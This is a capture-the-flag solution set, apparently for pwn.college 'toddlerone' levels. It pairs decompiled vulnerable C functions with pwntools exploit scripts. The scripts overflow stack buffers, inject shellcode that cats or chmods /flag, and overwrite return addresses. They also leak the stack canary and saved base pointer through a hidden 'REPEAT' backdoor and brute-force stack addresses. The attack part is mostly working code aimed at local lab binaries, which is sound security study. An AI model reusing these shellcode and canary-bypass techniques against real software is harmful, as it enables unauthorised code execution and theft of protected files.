37 collapsed lines
1
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
2
{
3
  int *v3; // rax
4
  char *v4; // rax
5
  _QWORD v6[3]; // [rsp+0h] [rbp-60h] BYREF
6
  int v7; // [rsp+1Ch] [rbp-44h]
7
  size_t nbytes; // [rsp+28h] [rbp-38h] BYREF
8
  _QWORD v9[3]; // [rsp+30h] [rbp-30h] BYREF
9
  char v10; // [rsp+48h] [rbp-18h]
10
  int v11; // [rsp+54h] [rbp-Ch]
11
  void *buf; // [rsp+58h] [rbp-8h]
12
  __int64 savedregs; // [rsp+60h] [rbp+0h] BYREF
13
  _UNKNOWN *retaddr; // [rsp+68h] [rbp+8h] BYREF
14

15
  v7 = a1;
16
  v6[2] = a2;
17
  v6[1] = a3;
18
  memset(v9, 0, sizeof(v9));
19
  v10 = 0;
20
  buf = v9;
21
  nbytes = 0LL;
22
  puts("The challenge() function has just been launched!");
23
  sp_ = (__int64)v6;
24
  bp_ = (__int64)&savedregs;
25
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
26
  rp_ = (__int64)&retaddr;
27
  puts("Before we do anything, let's take a look at challenge()'s stack frame:");
28
  DUMP_STACK(sp_, sz_);
29
  printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
30
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
31
  puts("including the saved base pointer and the saved return address, for a");
32
  printf("total of %d bytes.\n", 8 * sz_);
33
  printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
34
  puts("(\"above\" it in the stack are other local variables used by the function).");
35
  puts("Your input will be read into this buffer.");
36
  printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 25);
37
  puts("large input length, and thus overflow the buffer.\n");
38
  puts("We have disabled the following standard memory corruption mitigations for this challenge:");
39
  puts("- the canary is disabled, otherwise you would corrupt it before");
40
  puts("overwriting the return address, and the program would abort.");
41
  shellcode = mmap((void *)0x2247D000, 0x1000uLL, 7, 34, 0, 0LL);
42
  if ( shellcode != (void *)575131648 )
43
    __assert_fail("shellcode == (void *)0x2247d000", "/challenge/toddlerone-level-1-0.c", 0x95u, "challenge");
44
  printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x2247D000);
45
  puts("Reading 0x1000 bytes of shellcode from stdin.\n");
46
  shellcode_size = read(0, shellcode, 0x1000uLL);
47
  if ( !shellcode_size )
48
    __assert_fail("shellcode_size > 0", "/challenge/toddlerone-level-1-0.c", 0x99u, "challenge");
49
  puts("This challenge has loaded the following shellcode:\n");
50
  print_disassembly(shellcode, shellcode_size);
51
  puts(&byte_374C);
52
  printf("Payload size: ");
53
  __isoc99_scanf("%lu", &nbytes);
54
  printf("You have chosen to send %lu bytes of input!\n", nbytes);
55
  printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
56
  printf(
1 collapsed line
57
    "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
58
    (char *)buf + nbytes,
59
    nbytes - 25);
60
  printf("Send your payload (up to %lu bytes)!\n", nbytes);
61
  v11 = read(0, buf, nbytes);
62
  if ( v11 < 0 )
63
  {
64
    v3 = __errno_location();
16 collapsed lines
65
    v4 = strerror(*v3);
66
    printf("ERROR: Failed to read input -- %s!\n", v4);
67
    exit(1);
68
  }
69
  printf("You sent %d bytes!\n", v11);
70
  puts("Let's see what happened with the stack:\n");
71
  DUMP_STACK(sp_, sz_);
72
  puts("The program's memory status:");
73
  printf("- the input buffer starts at %p\n", buf);
74
  printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
75
  printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
76
  printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
77
  putchar(10);
78
  puts("Goodbye!");
79
  return 0LL;
80
}

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellcraft
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./toddlerone-level-1-0"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14
padding_to_ret = b"".ljust(0x38, b"A")
15
ret_addr = p64(0x2247D000)
16

17

18
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
19
    if local:
20
        elf = ELF(FILE)
21
        context.binary = elf
22

23
        if debug:
24
            return gdb.debug(
25
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
26
            )
27
        else:
28
            return process([elf.path] + (argv or []), env=envp)
29
    else:
30
        return remote(HOST, PORT)
31

32

33
def send_payload(target, payload):
34
    try:
35
        target.send(payload)
36
    except Exception as e:
37
        log.exception(f"An error occurred while sending payload: {e}")
38

39

40
def construct_payload(stage):
41
    stage_1 = shellcraft.cat("/flag")
42
    stage_2 = padding_to_ret + ret_addr
43

44
    if stage == 1:
45
        return asm(stage_1)
46
    elif stage == 2:
47
        return stage_2
48
    else:
49
        log.failure("Unknown stage number.")
50

51

52
def attack(target, payload):
53
    try:
54
        payload_size = f"{len(payload)}".encode()
55
        target.sendlineafter(b"Payload size: ", payload_size)
56

57
        target.recvuntil(b"Send your payload")
58
        send_payload(target, payload)
59

60
        response = target.recvall(timeout=5)
61

62
        return b"pwn.college{" in response
63
    except Exception as e:
64
        log.exception(f"An error occurred while performing attack: {e}")
65

66

67
def main():
68
    try:
69
        target = launch()
70
        payload = construct_payload(1)
71

72
        send_payload(target, payload)
73

74
        payload = construct_payload(2)
75

76
        if attack(target, payload):
77
            log.success("Success! Exiting...")
78

79
            pause()
80
            exit()
81
    except Exception as e:
82
        log.exception(f"An error occurred in main: {e}")
83

84

85
if __name__ == "__main__":
86
    main()

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellcraft
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./toddlerone-level-1-1"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14
padding_to_ret = b"".ljust(0x78, b"A")
15
ret_addr = p64(0x22A60000)
16

17

18
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
19
    if local:
20
        elf = ELF(FILE)
21
        context.binary = elf
22

23
        if debug:
24
            return gdb.debug(
25
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
26
            )
27
        else:
28
            return process([elf.path] + (argv or []), env=envp)
29
    else:
30
        return remote(HOST, PORT)
31

32

33
def send_payload(target, payload):
34
    try:
35
        target.send(payload)
36
    except Exception as e:
37
        log.exception(f"An error occurred while sending payload: {e}")
38

39

40
def construct_payload(stage):
41
    stage_1 = shellcraft.cat("/flag")
42
    stage_2 = padding_to_ret + ret_addr
43

44
    if stage == 1:
45
        return asm(stage_1)
46
    elif stage == 2:
47
        return stage_2
48
    else:
49
        log.failure("Unknown stage number.")
50

51

52
def attack(target, payload):
53
    try:
54
        payload_size = f"{len(payload)}".encode()
55
        target.sendlineafter(b"Payload size: ", payload_size)
56

57
        target.recvuntil(b"Send your payload")
58
        send_payload(target, payload)
59

60
        response = target.recvall(timeout=5)
61

62
        return b"pwn.college{" in response
63
    except Exception as e:
64
        log.exception(f"An error occurred while performing attack: {e}")
65

66

67
def main():
68
    try:
69
        target = launch()
70
        payload = construct_payload(1)
71

72
        send_payload(target, payload)
73

74
        payload = construct_payload(2)
75

76
        if attack(target, payload):
77
            log.success("Success! Exiting...")
78

79
            pause()
80
            exit()
81
    except Exception as e:
82
        log.exception(f"An error occurred in main: {e}")
83

84

85
if __name__ == "__main__":
86
    main()

4 collapsed lines
1
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
2
{
3
  int *v3; // rax
4
  char *v4; // rax
5
  _QWORD v6[3]; // [rsp+0h] [rbp-50h] BYREF
6
  int v7; // [rsp+1Ch] [rbp-34h]
7
  size_t nbytes; // [rsp+28h] [rbp-28h] BYREF
8
  _QWORD v9[2]; // [rsp+30h] [rbp-20h] BYREF
9
  int v10; // [rsp+44h] [rbp-Ch]
10
  void *buf; // [rsp+48h] [rbp-8h]
11
  __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF
4 collapsed lines
12
  _UNKNOWN *retaddr; // [rsp+58h] [rbp+8h] BYREF
13

14
  v7 = a1;
15
  v6[2] = a2;
16
  v6[1] = a3;
17
  v9[0] = 0LL;
18
  v9[1] = 0LL;
19
  buf = v9;
20
  nbytes = 0LL;
21
  puts("The challenge() function has just been launched!");
22
  sp_ = (__int64)v6;
26 collapsed lines
23
  bp_ = (__int64)&savedregs;
24
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
25
  rp_ = (__int64)&retaddr;
26
  puts("Before we do anything, let's take a look at challenge()'s stack frame:");
27
  DUMP_STACK(sp_, sz_);
28
  printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
29
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
30
  puts("including the saved base pointer and the saved return address, for a");
31
  printf("total of %d bytes.\n", 8 * sz_);
32
  printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
33
  puts("(\"above\" it in the stack are other local variables used by the function).");
34
  puts("Your input will be read into this buffer.");
35
  printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 16);
36
  puts("large input length, and thus overflow the buffer.\n");
37
  puts("We have disabled the following standard memory corruption mitigations for this challenge:");
38
  puts("- the canary is disabled, otherwise you would corrupt it before");
39
  puts("overwriting the return address, and the program would abort.");
40
  puts("- the binary is *not* position independent. This means that it will be");
41
  puts("located at the same spot every time it is run, which means that by");
42
  puts("analyzing the binary (using objdump or reading this output), you can");
43
  puts("know the exact value that you need to overwrite the return address with.\n");
44
  puts("- the binary will disable aslr. This means that everything in memory will be");
45
  puts("located at the same spot every time it is run, which means that by");
46
  puts("analyzing the binary (using objdump or reading this output), you can");
47
  puts("know the exact value that you need to overwrite the return address with.");
48
  puts("Furthermore, you know the absolute address of everything on the stack.\n");
49
  puts("- the stack is executable. This means that if the stack contains shellcode");
50
  puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
51
  printf("Payload size: ");
52
  __isoc99_scanf("%lu", &nbytes);
53
  printf("You have chosen to send %lu bytes of input!\n", nbytes);
54
  printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
55
  printf(
1 collapsed line
56
    "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
57
    (char *)buf + nbytes,
58
    nbytes - 16);
59
  printf("Send your payload (up to %lu bytes)!\n", nbytes);
60
  v10 = read(0, buf, nbytes);
61
  if ( v10 < 0 )
62
  {
63
    v3 = __errno_location();
16 collapsed lines
64
    v4 = strerror(*v3);
65
    printf("ERROR: Failed to read input -- %s!\n", v4);
66
    exit(1);
67
  }
68
  printf("You sent %d bytes!\n", v10);
69
  puts("Let's see what happened with the stack:\n");
70
  DUMP_STACK(sp_, sz_);
71
  puts("The program's memory status:");
72
  printf("- the input buffer starts at %p\n", buf);
73
  printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
74
  printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
75
  printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
76
  putchar(10);
77
  puts("Goodbye!");
78
  return 0LL;
79
}

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./toddlerone-level-2-0"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14
ret_addr = p64(0x00007FFFFFFFD330)
15

16

17
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
18
    if local:
19
        elf = ELF(FILE)
20
        context.binary = elf
21

22
        if debug:
23
            return gdb.debug(
24
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
25
            )
26
        else:
27
            return process([elf.path] + (argv or []), env=envp)
28
    else:
29
        return remote(HOST, PORT)
30

31

32
def send_payload(target, payload):
33
    try:
34
        target.send(payload)
35
    except Exception as e:
36
        log.exception(f"An error occurred while sending payload: {e}")
37

38

39
def construct_payload(padding_size):
40
    shellcode = asm(shellcraft.chmod("f", 0o4))
41
    shellcode_length = len(shellcode)
42
    shellcode += b"".ljust(padding_size - shellcode_length, b"A")
43
    shellcode += ret_addr
44

45
    return shellcode
46

47

48
def attack(target, payload):
49
    try:
50
        os.system("ln -s /flag f")
51

52
        payload_size = f"{len(payload)}".encode()
53
        target.sendlineafter(b"Payload size: ", payload_size)
54

55
        target.recvuntil(b"Send your payload")
56
        send_payload(target, payload)
57
        target.recvall(timeout=5)
58

59
        with open("./f", "r") as file:
60
            content = file.read()
61

62
            log.success(content)
63
    except FileNotFoundError:
64
        log.error("The file './f' does not exist.")
65
    except PermissionError:
66
        log.error("Permission denied to read './f'.")
67
    except Exception as e:
68
        log.exception(f"An error occurred while performing attack: {e}")
69

70

71
def main():
72
    try:
73
        target = launch()
74
        payload = construct_payload(0x28)
75

76
        attack(target, payload)
77
    except Exception as e:
78
        log.exception(f"An error occurred in main: {e}")
79

80

81
if __name__ == "__main__":
82
    main()

1
#!/usr/bin/python3
2

3
from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, time
4

5
context(log_level="debug", terminal="kitty")
6

7
FILE = "./toddlerone-level-2-1"
8
HOST, PORT = "localhost", 1337
9

10
gdbscript = """
11
c
12
"""
13

14
ret_addr = 0x7FFFFFFDE000
15

16

17
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
18
    if local:
19
        elf = ELF(FILE)
20
        context.binary = elf
21

22
        if debug:
23
            return gdb.debug(
24
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
25
            )
26
        else:
27
            return process([elf.path] + (argv or []), env=envp)
28
    else:
29
        return remote(HOST, PORT)
30

31

32
def send_payload(target, payload):
33
    try:
34
        target.send(payload)
35
    except Exception as e:
36
        log.exception(f"An error occurred while sending payload: {e}")
37

38

39
def construct_payload(padding_size):
40
    shellcode = asm(shellcraft.chmod("f", 0o4))
41
    shellcode_length = len(shellcode)
42
    shellcode += b"".ljust(padding_size - shellcode_length, b"A")
43
    shellcode += p64(ret_addr)
44

45
    return shellcode
46

47

48
def attack(target, payload):
49
    try:
50
        os.system("ln -s /flag f")
51

52
        payload_size = f"{len(payload)}".encode()
53
        target.sendlineafter(b"Payload size: ", payload_size)
54

55
        target.recvuntil(b"Send your payload")
56
        send_payload(target, payload)
57
        target.recvall(timeout=5)
58

59
        try:
60
            with open("./f", "r") as file:
61
                content = file.read()
62

63
                log.success(content)
64
                return True
65
        except FileNotFoundError:
66
            log.exception("The file './f' does not exist.")
67
        except PermissionError:
68
            log.failure("Permission denied to read './f'.")
69
        except Exception as e:
70
            log.exception(f"An error occurred while performing attack: {e}")
71
    except Exception as e:
72
        log.exception(f"An error occurred while performing attack: {e}")
73

74

75
def main():
76
    global ret_addr
77

78
    start_time = time.time()
79

80
    while True:
81
        try:
82
            target = launch()
83
            payload = construct_payload(0x48)
84

85
            if attack(target, payload):
86
                break
87

88
            ret_addr += 0x8
89
        except Exception as e:
90
            log.exception(f"An error occurred in main: {e}")
91

92
    end_time = time.time()
93
    elapsed_time = end_time - start_time
94
    log.success(f"Total elapsed time: {elapsed_time:.2f} seconds.")
95

96

97
if __name__ == "__main__":
98
    main()

48 collapsed lines
1
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
2
{
3
  int *v3; // rax
4
  char *v4; // rax
5
  __int64 v6; // [rsp+0h] [rbp-B0h] BYREF
6
  __int64 v7; // [rsp+8h] [rbp-A8h]
7
  __int64 v8; // [rsp+10h] [rbp-A0h]
8
  unsigned int v9; // [rsp+1Ch] [rbp-94h]
9
  int v10; // [rsp+2Ch] [rbp-84h]
10
  size_t nbytes; // [rsp+30h] [rbp-80h] BYREF
11
  void *buf; // [rsp+38h] [rbp-78h]
12
  _QWORD v13[11]; // [rsp+40h] [rbp-70h] BYREF
13
  int v14; // [rsp+98h] [rbp-18h]
14
  char v15; // [rsp+9Ch] [rbp-14h]
15
  unsigned __int64 v16; // [rsp+A8h] [rbp-8h]
16
  __int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
17
  _UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF
18

19
  v9 = a1;
20
  v8 = a2;
21
  v7 = a3;
22
  v16 = __readfsqword(0x28u);
23
  memset(v13, 0, sizeof(v13));
24
  v14 = 0;
25
  v15 = 0;
26
  buf = v13;
27
  nbytes = 0LL;
28
  puts("The challenge() function has just been launched!");
29
  sp_ = (__int64)&v6;
30
  bp_ = (__int64)&savedregs;
31
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2;
32
  rp_ = (__int64)&retaddr;
33
  puts("Before we do anything, let's take a look at challenge()'s stack frame:");
34
  DUMP_STACK(sp_, sz_);
35
  printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
36
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
37
  puts("including the saved base pointer and the saved return address, for a");
38
  printf("total of %d bytes.\n", 8 * sz_);
39
  printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
40
  puts("(\"above\" it in the stack are other local variables used by the function).");
41
  puts("Your input will be read into this buffer.");
42
  printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 93);
43
  puts("large input length, and thus overflow the buffer.\n");
44
  puts("We have disabled the following standard memory corruption mitigations for this challenge:");
45
  puts("- the stack is executable. This means that if the stack contains shellcode");
46
  puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
47
  cp_ = bp_;
48
  cv_ = __readfsqword(0x28u);
49
  while ( *(_QWORD *)cp_ != cv_ )
50
    cp_ -= 8LL;
51
  printf("Payload size: ");
52
  __isoc99_scanf("%lu", &nbytes);
53
  printf("You have chosen to send %lu bytes of input!\n", nbytes);
54
  printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
55
  printf(
1 collapsed line
56
    "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
57
    (char *)buf + nbytes,
58
    nbytes - 93);
59
  printf("Send your payload (up to %lu bytes)!\n", nbytes);
60
  v10 = read(0, buf, nbytes);
61
  if ( v10 < 0 )
62
  {
63
    v3 = __errno_location();
15 collapsed lines
64
    v4 = strerror(*v3);
65
    printf("ERROR: Failed to read input -- %s!\n", v4);
66
    exit(1);
67
  }
68
  printf("You sent %d bytes!\n", v10);
69
  puts("Let's see what happened with the stack:\n");
70
  DUMP_STACK(sp_, sz_);
71
  puts("The program's memory status:");
72
  printf("- the input buffer starts at %p\n", buf);
73
  printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
74
  printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
75
  printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
76
  printf("- the canary is stored at %p.\n", (const void *)cp_);
77
  printf("- the canary value is now %p.\n", *(const void **)cp_);
78
  putchar(10);
79
  printf("You said: %s\n", (const char *)buf);
80
  puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()");
81
  puts("call to see the hidden backdoor!");
82
  if ( strstr((const char *)buf, "REPEAT") )
83
  {
84
    puts("Backdoor triggered! Repeating challenge()");
85
    return challenge(v9, v8, v7);
86
  }
87
  else
88
  {
89
    puts("Goodbye!");
90
    return 0LL;
91
  }
92
}

1
#!/usr/bin/python3
2

3
from pwn import (
4
    ELF,
5
    asm,
6
    context,
7
    gdb,
8
    log,
9
    os,
10
    p64,
11
    process,
12
    remote,
13
    shellcraft,
14
)
15

16
context(log_level="debug", terminal="kitty")
17

18
FILE = "./toddlerone-level-3-0"
19
HOST, PORT = "localhost", 1337
20

21
gdbscript = """
22
c
23
"""
24

25
backdoor = b"REPEAT "
26
padding_size = 0x68
27
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
28
trigger_length = str(len(backdoor_trigger))
29
padding_to_ret = b"".ljust(0x8, b"A")
30
fixed_offset = 0x1170
31

32

33
def to_hex_bytes(data):
34
    return "".join(f"\\x{byte:02x}" for byte in data)
35

36

37
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
38
    if local:
39
        elf = ELF(FILE)
40
        context.binary = elf
41

42
        if debug:
43
            return gdb.debug(
44
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
45
            )
46
        else:
47
            return process([elf.path] + (argv or []), env=envp)
48
    else:
49
        return remote(HOST, PORT)
50

51

52
def send_payload(target, payload):
53
    try:
54
        target.send(payload)
55
    except Exception as e:
56
        log.exception(f"An error occurred while sending payload: {e}")
57

58

59
def leak_data(target):
60
    try:
61
        target.sendlineafter(b"Payload size: ", trigger_length)
62
        send_payload(target, backdoor_trigger)
63
        target.recvuntil(backdoor)
64

65
        canary = b"\x00" + target.recv(0x7)
66
        rbp = target.recv(0x6)
67
        log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
68

69
        return [canary, rbp]
70
    except Exception as e:
71
        log.exception(f"An error occurred while leaking canary: {e}")
72

73

74
def construct_payload(target, padding_size):
75
    canary, rbp = leak_data(target)
76
    rbp = int.from_bytes(rbp, "little")
77

78
    ret_addr = rbp - fixed_offset
79

80
    shellcode = asm(shellcraft.chmod("f", 0o4))
81
    shellcode_length = len(shellcode)
82
    shellcode += b"".ljust(padding_size - shellcode_length, b"A")
83
    shellcode += canary
84
    shellcode += padding_to_ret
85
    shellcode += p64(ret_addr)
86

87
    return shellcode
88

89

90
def attack(target, payload):
91
    try:
92
        os.system("ln -s /flag f")
93

94
        payload_size = f"{len(payload)}".encode()
95
        target.sendlineafter(b"Payload size: ", payload_size)
96

97
        target.recvuntil(b"Send your payload")
98
        send_payload(target, payload)
99
        target.recvall(timeout=5)
100

101
        try:
102
            with open("./f", "r") as file:
103
                content = file.read()
104

105
                log.success(content)
106
                return True
107
        except FileNotFoundError:
108
            log.exception("The file './f' does not exist.")
109
        except PermissionError:
110
            log.failure("Permission denied to read './f'.")
111
        except Exception as e:
112
            log.exception(f"An error occurred while performing attack: {e}")
113
    except Exception as e:
114
        log.exception(f"An error occurred while performing attack: {e}")
115

116

117
def main():
118
    try:
119
        target = launch()
120
        payload = construct_payload(target, padding_size)
121

122
        attack(target, payload)
123
    except Exception as e:
124
        log.exception(f"An error occurred in main: {e}")
125

126

127
if __name__ == "__main__":
128
    main()